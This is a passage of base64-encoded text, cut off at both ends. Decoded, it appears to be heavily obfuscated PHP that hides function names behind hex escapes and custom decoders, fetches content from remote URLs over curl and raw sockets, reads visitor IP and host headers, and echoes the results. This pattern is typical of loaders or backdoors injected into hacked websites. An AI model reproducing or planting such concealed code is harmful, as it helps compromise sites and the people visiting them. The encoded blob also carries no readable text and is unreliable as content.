R7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDRmXHg1Zlx4NGZceDVmXHg1Zlx4MzBceDMwXHgzMCJdKCd8JywkT08wX08wX19PMCkgYXMgJGMpeyRPT19PTzBfXzAwPTE7aWYoJE9PMF9fTzBPXzAmJnN1YnN0cigkYywwLDEpPT0nYycpe2NvbnRpbnVlO31mb3JlYWNoKCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDRmXHg1Zlx4NGZceDVmXHg1Zlx4MzBceDMwXHgzMCJdKCcrJywkYykgYXMgJGQpe2lmKCEkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg1Zlx4MzBceDVmXHg0Zlx4NGZceDMwXHgzMFx4NGYiXSgkZCkpeyRPT19PTzBfXzAwPTA7fX11bnNldCgkZCk7aWYoJE9PX09PMF9fMDApeyRPT09PMF8wX18wPSRjO2JyZWFrO319dW5zZXQoJE9PMF9PMF9fTzAsJGMpO2lmKCRPT09PMF8wX18wPT0nJyl7cmV0dXJuIDA7fWlmKHN1YnN0cigkT09PTzBfMF9fMCwwLDEpPT0nYycpeyRPT19fMDAwT09fPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDMwXHgzMFx4NWZceDRmXHg0Zlx4NGZceDVmXHg1ZiJdKCk7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDRmXHgzMFx4NGZceDVmXHgzMFx4NWZceDVmIl0oJE9PX18wMDBPT18sQ1VSTE9QVF9VUkwsJHVybCk7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDRmXHgzMFx4NGZceDVmXHgzMFx4NWZceDVmIl0oJE9PX18wMDBPT18sQ1VSTE9QVF9VU0VSQUdFTlQsJE8wT19PXzAwX08pOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDRmXHg0Zlx4MzBceDRmXHg1Zlx4MzBceDVmXHg1ZiJdKCRPT19fMDAwT09fLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDRmXHgzMFx4NGZceDVmXHgzMFx4NWZceDVmIl0oJE9PX18wMDBPT18sQ1VSTE9QVF9USU1FT1VULDEwMCk7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDRmXHgzMFx4NGZceDVmXHgzMFx4NWZceDVmIl0oJE9PX18wMDBPT18sQ1VSTE9QVF9GUkVTSF9DT05ORUNULFRSVUUpO2lmKCRPT09PMDBfX18wPT0yKXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg0Zlx4NGZceDMwXHg0Zlx4NWZceDMwXHg1Zlx4NWYiXSgkT09fXzAwME9PXyxDVVJMT1BUX1BPU1QsMSk7aWYoJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NGZceDMwXHgzMFx4NGZceDMwXHg0Zlx4NWZceDVmIl0oJE9PMF8wX09PXzApKXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg0Zlx4NGZceDMwXHg0Zlx4NWZceDMwXHg1Zlx4NWYiXSgkT09fXzAwME9PXyxDVVJMT1BUX1BPU1RGSUVMRFMsJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NGZceDRmXHgzMFx4NWZceDMwXHg0Zlx4NWZceDMwIl0oJE9PMF8wX09PXzApKTt9fSRPT19fT08wXzAwPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDVmXHgzMFx4MzBceDRmXHgzMFx4NWZceDRmXHg1ZiJdKCRPT19fMDAwT09fKTskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg0Zlx4NWZceDMwXHg0Zlx4NWZceDVmXHgzMFx4NGYiXSgkT09fXzAwME9PXyk7aWYoISRPT19fT08wXzAwKXtpZihpc3NldCgkeyJceDVmXHg0N1x4NDVceDU0In1bIlx4NjNceDc1XHg3Mlx4NmNceDY1XHg3Mlx4NzIiXSkpeyRPMDBPX18wT19PPU9fT08wME9fXzAoJ2kwNHVMTGdjcFJTQzBxeWkrS1ZjdExLaTZxVHdCZ0E9Jyk7JE8wME9fXzBPX08uPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDMwXHg1Zlx4NWZceDMwXHg0Zlx4NGZceDMwXHg0ZiJdKCRPT19fMDAwT09fKTtlY2hvICRPMDBPX18wT19PO3Vuc2V0KCRPMDBPX18wT19PKTtleGl0KCk7fXJldHVybiAwO31lbHNle3JldHVybiAkT09fX09PMF8wMDt9fSRPME8wMF9fX09PPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDRmXHgzMFx4MzBceDMwXHg0Zlx4NWZceDVmXHg0ZiJdKCR1cmwpO2lzc2V0KCRPME8wMF9fX09PWyJceDY4XHg2Zlx4NzNceDc0Il0pfHwkTzBPMDBfX19PT1siXHg2OFx4NmZceDczXHg3NCJdPScnO2lzc2V0KCRPME8wMF9fX09PWyJceDcwXHg2MVx4NzRceDY4Il0pfHwkTzBPMDBfX19PT1siXHg3MFx4NjFceDc0XHg2OCJdPScnO2lzc2V0KCRPME8wMF9fX09PWyJceDcxXHg3NVx4NjVceDcyXHg3OSJdKXx8ICRPME8wMF9fX09PWyJceDcxXHg3NVx4NjVceDcyXHg3OSJdPScnO2lzc2V0KCRPME8wMF9fX09PWyJceDcwXHg2Zlx4NzJceDc0Il0pfHwkTzBPMDBfX19PT1siXHg3MFx4NmZceDcyXHg3NCJdPScnOyRPME9fT09fMDBfPSRPME8wMF9fX09PWyJceDcwXHg2MVx4NzRceDY4Il0/JE8wTzAwX19fT09bIlx4NzBceDYxXHg3NFx4NjgiXS4oJE8wTzAwX19fT09bIlx4NzFceDc1XHg2NVx4NzJceDc5Il0/Jz8nLiRPME8wMF9fX09PWyJceDcxXHg3NVx4NjVceDcyXHg3OSJdOicnKTonLyc7JE8wMF8wT09fX089JE8wTzAwX19fT09bIlx4NjhceDZmXHg3M1x4NzQiXTtpZigkTzBPMDBfX19PT1siXHg3M1x4NjNceDY4XHg2NVx4NmRceDY1Il09PSdodHRwcycpeyRPX09fME8wX08wPScxLjEnOyRPT18wT18wMF9PPWVtcHR5KCRPME8wMF9fX09PWyJceDcwXHg2Zlx4NzJceDc0Il0pPzQ0MzokTzBPMDBfX19PT1siXHg3MFx4NmZceDcyXHg3NCJdOyRPMDBfME9PX19PPU9fT08wME9fXzAoJ0t5N09zQ1RkTFhHWEJ3QT0nKTskTzAwXzBPT19fTy49JE8wTzAwX19fT09bIlx4NjhceDZmXHg3M1x4NzQiXTt9ZWxzZXskT19PXzBPMF9PMD0nMS4wJzskT09fME9fMDBfTz1lbXB0eSgkTzBPMDBfX19PT1siXHg3MFx4NmZceDcyXHg3NCJdKT84MDokTzBPMDBfX19PT1siXHg3MFx4NmZceDcyXHg3NCJdO30kT08wXzBPX18wTz0nSG9zdDonOyRPTzBfME9fXzBPLj0kTzAwXzBPT19fTzskTzBfX09PTzBfMFtdPSRPTzBfME9fXzBPOyRPMF9fT09PMF8wW109T19PTzAwT19fMCgnYzg3UHlYRTB0Tkxzbk16N055enNrZEh2VGdVQScpOyRPMF9fT09PMF8wW109T19PTzAwT19fMCgnQ3kxT0xodWRKMVRFL05LN0VpTUNBQT09JykuJE8wT19PXzAwX087JE8wX19PT08wXzBbXT1PX09PMDBPX18wKCdjMHhPVHhSaTBvc2RMWlJTMXdJQScpO3Vuc2V0KCRPTzBfME9fXzBPKTtpZigkT09PTzAwX19fMD09Mil7aWYoJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NGZceDMwXHgzMFx4NGZceDMwXHg0Zlx4NWZceDVmIl0oJE9PMF8wX09PXzApKXskT08wXzBfT09fMD0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg0Zlx4NGZceDMwXHg1Zlx4MzBceDRmXHg1Zlx4MzAiXSgkT08wXzBfT09fMCk7fSRPMF9fT09PMF8wW109T19PTzAwT19fMCgnYzg3UEtnTzBuTks5RXRxU3hJdFVvc0tNakpURTRzeWN6UDA2L1FMUzh2MTAzTEw4clZMUzNLU2MxTHprOXVQSlRRRUEnKTskTzBfX09PTzBfMFtdPU9fT08wME9fXzAoJ2M4N1BLaEkwbk5LOUgxU2MxTEw4bWNOd0FnQT0nKS4keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg1Zlx4MzBceDRmXHgzMFx4NGZceDMwXHg0Zlx4NWYiXSgkT08wXzBfT09fMCk7JE8wX18wT19PME89IlBPU1QgJE8wT19PT18wMF8gSFRUUC8kT19PXzBPMF9PMCIuUEhQX0VPTC4keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDRmXHgzMFx4NWZceDVmXHgzMFx4NGZceDMwXHg0Zlx4NWYiXShQSFBfRU9MLCRPMF9fT09PMF8wKS5QSFBfRU9MLlBIUF9FT0wuJE9PMF8wX09PXzA7dW5zZXQoJE9PMF8wX09PXzApO31lbHNleyRPMF9fME9fTzBPPSJHRVQgJE8wT19PT18wMF8gSFRUUC8kT19PXzBPMF9PMCIuUEhQX0VPTC4keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDRmXHgzMFx4NWZceDVmXHgzMFx4NGZceDMwXHg0Zlx4NWYiXShQSFBfRU9MLCRPMF9fT09PMF8wKS5QSFBfRU9MLlBIUF9FT0w7fXVuc2V0KCRPMF9fT09PMF8wLCRPME8wMF9fX09PLCRPX09fME8wX08wLCRPME9fT09fMDBfKTskT19PX08wMF8wTz1udWxsO2lmKHN1YnN0cigkT09PTzBfMF9fMCwtMSk9PSduJyl7JE9fT19PMDBfME89JE9PT08wXzBfXzAoJE8wMF8wT09fX08sJE9PXzBPXzAwX08sJE8wME9fXzBPX09ubywkTzAwT19fME9fT3N0ciwzMCk7fWVsc2V7aWYoc3Vic3RyKCRPT09PMF8wX18wLC0xKT09J3QnKXskT19PT09fXzAwMD1PX09PMDBPX18wKCdLMGt1c0x3TkxnUlhCd0E9Jyk7JE9fT09PX18wMDAuPSRPMDBfME9PX19POyRPX09PT19fMDAwLj0nOic7JE9fT09PX18wMDAuPSRPT18wT18wMF9POyRPX09fTzAwXzBPPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDRmXHg1Zlx4NGZceDMwXHg0Zlx4MzBceDVmXHgzMCJdKCRPX09PT19fMDAwLCRPMDBPX18wT19Pbm8sJE8wME9fXzBPX09zdHIsMzApO3Vuc2V0KCRPX09PT19fMDAwKTt9fSRPT18wT08wMF9fPScnO2lmKCRPX09fTzAwXzBPKXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHgzMFx4NWZceDMwXHg0Zlx4NGZceDVmXHg0Zlx4NWYiXSgkT19PX08wMF8wTyxUUlVFKTskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg0Zlx4MzBceDMwXHg0Zlx4MzBceDRmXHg1Zlx4NWYiXSgkT19PX08wMF8wTywzMCk7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4MzBceDVmXHg0Zlx4MzBceDVmXHg0Zlx4MzBceDRmIl0oJE9fT19PMDBfME8sJE8wX18wT19PME8pO2lmKCEkT08wX19PME9fMCl7JE8wME9fX09fTzA9JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDVmXHg1Zlx4MzBceDMwXHg0Zlx4NGZceDVmIl0oJE9fT19PMDBfME8pO2lmKCEkTzAwT19fT19PMFsiXHg3NFx4NjlceDZkXHg2NVx4NjRceDVmXHg2Zlx4NzVceDc0Il0pe3doaWxlKCEkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDRmXHg1Zlx4NWZceDVmXHgzMFx4MzBceDRmXHgzMFx4NGYiXSgkT19PX08wMF8wTykpeyRPX08wX18wT08wPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDMwXHgzMFx4NWZceDRmXHg0Zlx4MzBceDRmXHg1ZiJdKCRPX09fTzAwXzBPKTtpZigkT19PMF9fME9PMCYmKCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDVmXHgzMFx4NGZceDRmXHg1Zlx4NWZceDRmXHgzMCJdKCRPX08wX18wT08wKT09IiUwRCUwQSJ8fCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDVmXHgzMFx4NGZceDRmXHg1Zlx4NWZceDRmXHgzMCJdKCRPX08wX18wT08wKT09IiUwQSIpKXticmVhazt9dW5zZXQoJE9fTzBfXzBPTzApO313aGlsZSghJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg0Zlx4NWZceDVmXHg1Zlx4MzBceDMwXHg0Zlx4MzBceDRmIl0oJE9fT19PMDBfME8pKXskTzAwX09fT19PMD0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHgzMFx4MzBceDVmXHg0Zlx4NGZceDRmXHgzMFx4NWYiXSgkT19PX08wMF8wTyw4MTkyKTskT09fME9PMDBfXy49JE8wMF9PX09fTzA7dW5zZXQoJE8wMF9PX09fTzApO319dW5zZXQoJE8wME9fX09fTzApO30keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg1Zlx4NGZceDMwXHg0Zlx4MzBceDMwXHg1Zlx4NGYiXSgkT19PX08wMF8wTyk7fWVsc2V7aWYoc3Vic3RyKCRPT09PMF8wX18wLC0xKT09J2UnKXskT18wT18wX09PMD0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg1Zlx4NGZceDMwXHgzMFx4MzBceDVmXHg0Zlx4NGYiXSgkTzAwXzBPT19fTyk7JE9fT19PMDBfME89JE9PT08wXzBfXzAoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTtpZihzb2NrZXRfY29ubmVjdCgkT19PX08wMF8wTywkT18wT18wX09PMCwkT09fME9fMDBfTykpe2lmKCEkT08wX19PME9fMCl7c29ja2V0X3dyaXRlKCRPX09fTzAwXzBPLCRPMF9fME9fTzBPLCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDVmXHgzMFx4NGZceDMwXHg0Zlx4MzBceDRmXHg1ZiJdKCRPMF9fME9fTzBPKSk7d2hpbGUoJE8wX19PMF9PME89QHNvY2tldF9yZWFkKCRPX09fTzAwXzBPLDgxOTIpKXskT09fME9PMDBfXy49JE8wX19PMF9PME87dW5zZXQoJE8wX19PMF9PME8pO30kT09fME9PMDBfXz0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDRmXHg0Zlx4NWZceDRmXHg1Zlx4NWZceDMwXHgzMFx4MzAiXSgiXFxyXFxuXFxyXFxuIiwkT09fME9PMDBfXyk7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NWZceDMwXHg0Zlx4NWZceDMwXHg1Zlx4NGZceDRmIl0oJE9PXzBPTzAwX18pOyRPT18wT08wMF9fPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDVmXHg0Zlx4NGZceDRmXHgzMFx4NWZceDMwXHg1ZiJdKCJcXHJcXG5cXHJcXG4iLCRPT18wT08wMF9fKTt9ZWxzZXskT18wT08wME9fXz0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg0Zlx4NGZceDVmXHg0Zlx4NWZceDMwXHgzMFx4MzAiXSgyLDUpOyRPT18wT18wT18wPTA7d2hpbGUoJE9PXzBPXzBPXzA8JE9fME9PMDBPX18pe3NvY2tldF93cml0ZSgkT19PX08wMF8wTywkTzBfXzBPX08wTywkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg1Zlx4MzBceDRmXHgzMFx4NGZceDMwXHg0Zlx4NWYiXSgkTzBfXzBPX08wTykpOyRPT18wT18wT18wKys7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NWZceDMwXHg1Zlx4NGZceDMwXHg0Zlx4MzBceDRmIl0oJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NGZceDRmXHg1Zlx4NGZceDVmXHgzMFx4MzBceDMwIl0oNTAwMDAsMTAwMDAwKSk7fXVuc2V0KCRPT18wT18wT18wLCRPXzBPTzAwT19fKTt9fXNvY2tldF9jbG9zZSgkT19PX08wMF8wTyk7dW5zZXQoJE9fME9fMF9PTzApO319dW5zZXQoJE8wX18wT19PME8sJE9PT08wXzBfXzAsJE9fT19PMDBfME8sJE9PXzBPXzAwX08sJE8wMF8wT09fX08pO2lmKCEkT08wX19PME9fMCl7JE9PXzBPTzAwX189QCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDRmXHg1Zlx4NWZceDMwXHgzMFx4NGZceDMwXHg1ZiJdKCcvKD86KD86XFxyXFxufFxcbil8XikoWzAtOUEtRl0rKSg/OlxcclxcbnxcXG4pezEsMn0oLio/KScuJygoPzpcXHJcXG58XFxuKSg/OlswLTlBLUZdKyg/OlxcclxcbnxcXG4pKXwkKS9zaScsJ09fT08wMF9fTzAnLCRPT18wT08wMF9fKTtyZXR1cm4gJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NWZceDRmXHgzMFx4MzBceDMwXHg1Zlx4NGZceDRmIl0oJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NWZceDRmXHgzMFx4MzBceDMwXHg1Zlx4NGZceDRmIl0oJE9PXzBPTzAwX18sIlxceEVGXFx4QkJcXHhCRiIpKTt9ZWxzZXtyZXR1cm4gMTt9fWZ1bmN0aW9uIE9fT08wMF9fTzAoJG1hdGNoZXMpe3JldHVybiAkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg1Zlx4MzBceDRmXHg0Zlx4NWZceDMwXHg0Zlx4NWYiXSgkbWF0Y2hlc1sxXSk9PSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDVmXHgzMFx4NGZceDMwXHg0Zlx4MzBceDRmXHg1ZiJdKCRtYXRjaGVzWzJdKT8kbWF0Y2hlc1syXTokbWF0Y2hlc1swXTt9ZnVuY3Rpb24gT18wT19PXzBPMCgkT09fMF9fT08wMCl7JE9PX09fME8wXzA9JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDVmXHgzMFx4NWZceDMwXHg0Zlx4NGZceDVmIl0oJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NGZceDRmXHgzMFx4NWZceDMwXHg0Zlx4MzBceDVmIl0oJE9PXzBfX09PMDApKTskT08wTzBfMF9fTz1zdWJzdHIoJE9PX09fME8wXzAsMCw1KTskT08wTzBfX19PMD1zdWJzdHIoJE9PX09fME8wXzAsLTUpOyRPT19PTzBfMDBfPXN1YnN0cigkT09fT18wTzBfMCw1LCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDVmXHgzMFx4NGZceDMwXHg0Zlx4MzBceDRmXHg1ZiJdKCRPT19PXzBPMF8wKS0xMCk7cmV0dXJuICRPTzBPMF8wX19PLidoVCcuc3Vic3RyKCRPT19PXzBPMF8wLDUsJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NWZceDMwXHg0Zlx4MzBceDRmXHgzMFx4NGZceDVmIl0oJE9PX09fME8wXzApLTEwKS4ndFAnLiRPTzBPMF9fX08wO31mdW5jdGlvbiBPX09PMDBPX18wKCRPT18wX19PTzAwKXskT08wTzBfMF9fTz1zdWJzdHIoJE9PXzBfX09PMDAsMCw1KTskT08wTzBfX19PMD1zdWJzdHIoJE9PXzBfX09PMDAsLTUpOyRPT19PTzBfMDBfPXN1YnN0cigkT09fMF9fT08wMCw3LCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDVmXHgzMFx4NGZceDMwXHg0Zlx4MzBceDRmXHg1ZiJdKCRPT18wX19PTzAwKS0xNCk7cmV0dXJuICR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDVmXHgzMFx4NWZceDRmXHg0Zlx4NGZceDMwXHg1ZiJdKCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDRmXHgzMFx4NWZceDMwXHg0Zlx4NWZceDVmXHg0ZiJdKCRPTzBPMF8wX19PLiRPT19PTzBfMDBfLiRPTzBPMF9fX08wKSk7fWZ1bmN0aW9uIE8wME9fME9PX18oJE8wMF9PXzBfT089Jycpe2lmKGlzc2V0KCR7Ilx4NWZceDUzXHg0NVx4NTJceDU2XHg0NVx4NTIifSkpe2lmKGlzc2V0KCR7Ilx4NWZceDUzXHg0NVx4NTJceDU2XHg0NVx4NTIifVsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDU4XHg1Zlx4NDZceDRmXHg1Mlx4NTdceDQxXHg1Mlx4NDRceDQ1XHg0NFx4NWZceDQ2XHg0Zlx4NTIiXSkpeyRPMDBfT18wX09PPSR7Ilx4NWZceDUzXHg0NVx4NTJceDU2XHg0NVx4NTIifVsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDU4XHg1Zlx4NDZceDRmXHg1Mlx4NTdceDQxXHg1Mlx4NDRceDQ1XHg0NFx4NWZceDQ2XHg0Zlx4NTIiXTt9ZWxzZSBpZihpc3NldCgkeyJceDVmXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyIn1bIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0M1x4NGNceDQ5XHg0NVx4NGVceDU0XHg1Zlx4NDlceDUwIl0pKXskTzAwX09fMF9PTz0keyJceDVmXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyIn1bIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0M1x4NGNceDQ5XHg0NVx4NGVceDU0XHg1Zlx4NDlceDUwIl07fWVsc2V7JE8wMF9PXzBfT089JHsiXHg1Zlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1MiJ9WyJceDUyXHg0NVx4NGRceDRmXHg1NFx4NDVceDVmXHg0MVx4NDRceDQ0XHg1MiJdO319ZWxzZXtpZigkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDRmXHgzMFx4MzBceDRmXHg1Zlx4NWZceDMwXHg0Zlx4NWYiXSgnSFRUUF9YX0ZPUldBUkRFRF9GT1InKSl7JE8wMF9PXzBfT089JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg0Zlx4MzBceDMwXHg0Zlx4NWZceDVmXHgzMFx4NGZceDVmIl0oJ0hUVFBfWF9GT1JXQVJERURfRk9SJyk7fWVsc2UgaWYoJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg0Zlx4MzBceDMwXHg0Zlx4NWZceDVmXHgzMFx4NGZceDVmIl0oJ0hUVFBfQ0xJRU5UX0lQJykpeyRPMDBfT18wX09PPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDMwXHgzMFx4NGZceDVmXHg1Zlx4MzBceDRmXHg1ZiJdKCdIVFRQX0NMSUVOVF9JUCcpO31lbHNleyRPMDBfT18wX09PPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDMwXHgzMFx4NGZceDVmXHg1Zlx4MzBceDRmXHg1ZiJdKCdSRU1PVEVfQUREUicpO319cmV0dXJuICRPMDBfT18wX09PO31mdW5jdGlvbiBPTzAwT19fMF9PKCRPT18wX19PTzAwPScnKXtpZihpc3NldCgkeyJceDVmXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyIn1bIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0OFx4NGZceDUzXHg1NCJdKSl7cmV0dXJuICR7Ilx4NWZceDUzXHg0NVx4NTJceDU2XHg0NVx4NTIifVsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDQ4XHg0Zlx4NTNceDU0Il07fWVsc2VpZihpc3NldCgkeyJceDVmXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyIn1bIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDRlXHg0MVx4NGRceDQ1Il0pKXtyZXR1cm4gJHsiXHg1Zlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1MiJ9WyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJceDVmXHg0ZVx4NDFceDRkXHg0NSJdO31yZXR1cm4gJE9PXzBfX09PMDA7fWZ1bmN0aW9uIE9fTzBPME9fMF8oJE9PX19fME8wME8peyRPMF8wMF9fT09PPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDVmXHg0Zlx4NGZceDMwXHgzMFx4NGZceDMwXHg1ZiJdKCRPT19fXzBPMDBPKTskT08wX08wX08wXz0nJztmb3IgKCRPT18wT18wT18wPTA7JE9PXzBPXzBPXzA8JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NWZceDMwXHg0Zlx4MzBceDRmXHg1Zlx4NGZceDVmIl0oJE8wXzAwX19PT08pOyRPT18wT18wT18wKyspe2lmKCRPT18wT18wT18wJTIhPTApeyRPTzBfTzBfTzBfLj0kTzBfMDBfX09PT1skT09fME9fME9fMF07fX1yZXR1cm4gJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDMwXHg1Zlx4MzBceDRmXHg1Zlx4NWZceDRmIl0oJE9PMF9PMF9PMF8pO31mdW5jdGlvbiBPME9fX09fMDBPKCRPT18wT08wMF9fKXskT09fME9PMDBfXz1AJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4MzBceDRmXHg1Zlx4NGZceDMwXHg1Zlx4NGZceDMwIl0oJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDMwXHg1Zlx4MzBceDRmXHg1Zlx4NWZceDRmIl0oJE9PXzBPTzAwX18pKTskT08wTzAwX09fXz1AJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NGZceDRmXHg0Zlx4MzBceDMwXHg1Zlx4MzBceDVmIl0oIi9cXHwvc2kiLCRPT18wT08wMF9fLC0xLFBSRUdfU1BMSVRfTk9fRU1QVFkpO2lmKCEkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg0Zlx4MzBceDMwXHg0Zlx4MzBceDRmXHg1Zlx4NWYiXSgkT08wTzAwX09fXykpe3JldHVybiBmYWxzZTt9aWYoJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NWZceDMwXHg0Zlx4MzBceDRmXHg1Zlx4NGZceDVmIl0oJE9PME8wMF9PX18pPDIpe3JldHVybiBmYWxzZTt9JE9PXzBPTzAwX19fYXJyYXlbIlx4NjRceDYxXHg3NFx4NjEiXT0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx